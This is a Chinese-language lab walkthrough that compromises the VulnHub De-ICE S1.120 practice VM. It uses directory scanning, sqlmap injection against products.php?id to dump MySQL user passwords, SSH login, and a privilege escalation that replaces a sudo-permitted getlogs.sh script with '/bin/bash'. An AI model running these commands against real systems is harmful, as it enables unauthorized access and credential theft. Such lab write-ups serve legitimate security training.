https://www.vulnhub.com/entry/de-ice-s1120,10/
靶机设置靶机默认ip是192.168.1.120,最好设一个对应网段的网卡给它,我的这篇文章有简单指导Vulnhub靶机系列:pWnOS: 2.0另外iso文件如何导入就不赘述了,安装完最好重启一下。完成上述步骤后可以netdiscover一下确定。
利用知识及工具ssh、sqlmap、suid提权
信息收集并getshell先看下web页面
感觉平平无奇,先使用dirb和dirmap目录分别进行扫描
dirb http://192.168.1.120
python3 dirmap.py -i 192.168.1.120 -lcf
发现有phpmyadmin,而且这个服务暴露在网络上,但是我尝试了一会还是没有可利用的点。决定从刚才的几个页面入手。
看到这个页面第一反应是添加一个试试,
我添了个’,看看查询页面变化
看到php?id=?这种大家应该都很熟悉了,所以拿出sqlmap
sqlmap -u http://192.168.1.120/products.php?id=1 -D mysql
sqlmap -u http://192.168.1.120/products.php?id=1 -D mysql --users --passwords --batch
然后慢慢跑,可以先泡杯茶看会几小时剧
结果跑出来后,一个个试ssh
ssh ccoffee@192.168.1.120
提权
先看下内核
uname -r
再看下现在权限
权限蛮低的,这里利用suid提权
简单提下suid提权:
suid是一种特殊权限,设置了suid的程序文件,在用户执行该程序时,用户的权限是该程序文件属主的权限。例如程序文件的属主是root,那么执行该程序的用户就将暂时获得root账户的权限。sgid与suid类似,只是执行程序时获得的是文件属组的权限。
列出suid文件
find / -perm –u=s –type f 2>/dev/null
结果
ccoffee@slax:~$ find / -user root -perm -4000 -print 2>/dev/null
/mnt/live/memory/images/sudo-1.7.0.lzm/usr/bin/sudo
/mnt/live/memory/images/sudo-1.7.0.lzm/usr/bin/sudoedit
/mnt/live/memory/images/68-xampp-1-7-1.lzm/opt/lampp/bin/suexec
/mnt/live/memory/images/4-004-kdeapps.lzm/usr/bin/kppp
/mnt/live/memory/images/3-003-desktop.lzm/sbin/mount.slaxdrive
/mnt/live/memory/images/3-003-desktop.lzm/usr/bin/fdmount
/mnt/live/memory/images/3-003-desktop.lzm/usr/bin/fileshareset
/mnt/live/memory/images/3-003-desktop.lzm/usr/bin/kcheckpass
/mnt/live/memory/images/3-003-desktop.lzm/usr/bin/kgrantpty
/mnt/live/memory/images/3-003-desktop.lzm/usr/bin/kpac_dhcp_helper
/mnt/live/memory/images/3-003-desktop.lzm/usr/bin/start_kdeinit
/mnt/live/memory/images/2-002-xorg.lzm/usr/bin/Xorg
/mnt/live/memory/images/2-002-xorg.lzm/usr/bin/lppasswd
/mnt/live/memory/images/2-002-xorg.lzm/usr/libexec/dbus-daemon-launch-helper
/mnt/live/memory/images/1-001-core.lzm/bin/fusermount
/mnt/live/memory/images/1-001-core.lzm/bin/mount
/mnt/live/memory/images/1-001-core.lzm/bin/ping
/mnt/live/memory/images/1-001-core.lzm/bin/ping6
/mnt/live/memory/images/1-001-core.lzm/bin/su
/mnt/live/memory/images/1-001-core.lzm/bin/umount
/mnt/live/memory/images/1-001-core.lzm/usr/bin/chage
/mnt/live/memory/images/1-001-core.lzm/usr/bin/chfn
/mnt/live/memory/images/1-001-core.lzm/usr/bin/chsh
/mnt/live/memory/images/1-001-core.lzm/usr/bin/crontab
/mnt/live/memory/images/1-001-core.lzm/usr/bin/expiry
/mnt/live/memory/images/1-001-core.lzm/usr/bin/gpasswd
/mnt/live/memory/images/1-001-core.lzm/usr/bin/newgrp
/mnt/live/memory/images/1-001-core.lzm/usr/bin/passwd
/mnt/live/memory/images/1-001-core.lzm/usr/bin/traceroute
/mnt/live/memory/images/1-001-core.lzm/usr/bin/traceroute6
/mnt/live/memory/images/1-001-core.lzm/usr/libexec/pt_chown
/mnt/live/memory/images/1-001-core.lzm/usr/libexec/ssh-keysign
/mnt/live/memory/changes/home/ccoffee/scripts/getlogs.sh
/usr/bin/sudo
/usr/bin/sudoedit
/usr/bin/kppp
/usr/bin/fdmount
/usr/bin/fileshareset
/usr/bin/kcheckpass
/usr/bin/kgrantpty
/usr/bin/kpac_dhcp_helper
/usr/bin/start_kdeinit
/usr/bin/Xorg
/usr/bin/lppasswd
/usr/bin/chage
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/crontab
/usr/bin/expiry
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/traceroute
/usr/bin/traceroute6
/usr/libexec/dbus-daemon-launch-helper
/usr/libexec/pt_chown
/usr/libexec/ssh-keysign
/opt/lampp/bin/suexec
/home/ccoffee/scripts/getlogs.sh
/sbin/mount.slaxdrive
/bin/fusermount
/bin/mount
/bin/ping
/bin/ping6
/bin/su
/bin/umount
这里不代表每个文件都可以利用,但是可以看到,ccoffee目录下有一个文件
查看sudo可以执行的命令
ccoffee@slax:~$ sudo -l
User ccoffee may run the following commands on this host:
(root) NOPASSWD: /home/ccoffee/scripts/getlogs.sh
进入这文件的目录 cd /home/ccoffee/scripts/
确定suid权限 ls -al
-rws--x--x 1 root admin 110 Mar 30 05:41 getlogs.sh*
创建一个备份,将getlogs.sh移至getlogs.sh.bak,然后使用以下代码创建一个新的getlogs.sh文件以生成一个shell
mv getlogs.sh getlogs.sh.bak
echo "/bin/bash" > getlogs.sh
chmod 777 getlogs.sh
运行脚本 sudo /home/ccoffee/scripts/getlogs.sh
确定权限 id
可以看到现在的shell权限为root
有必要提醒,貌似ssh的密码是动态生成的,因为跑的太慢了,本来打算偷懒直接找个,结果发现登不上去。=_=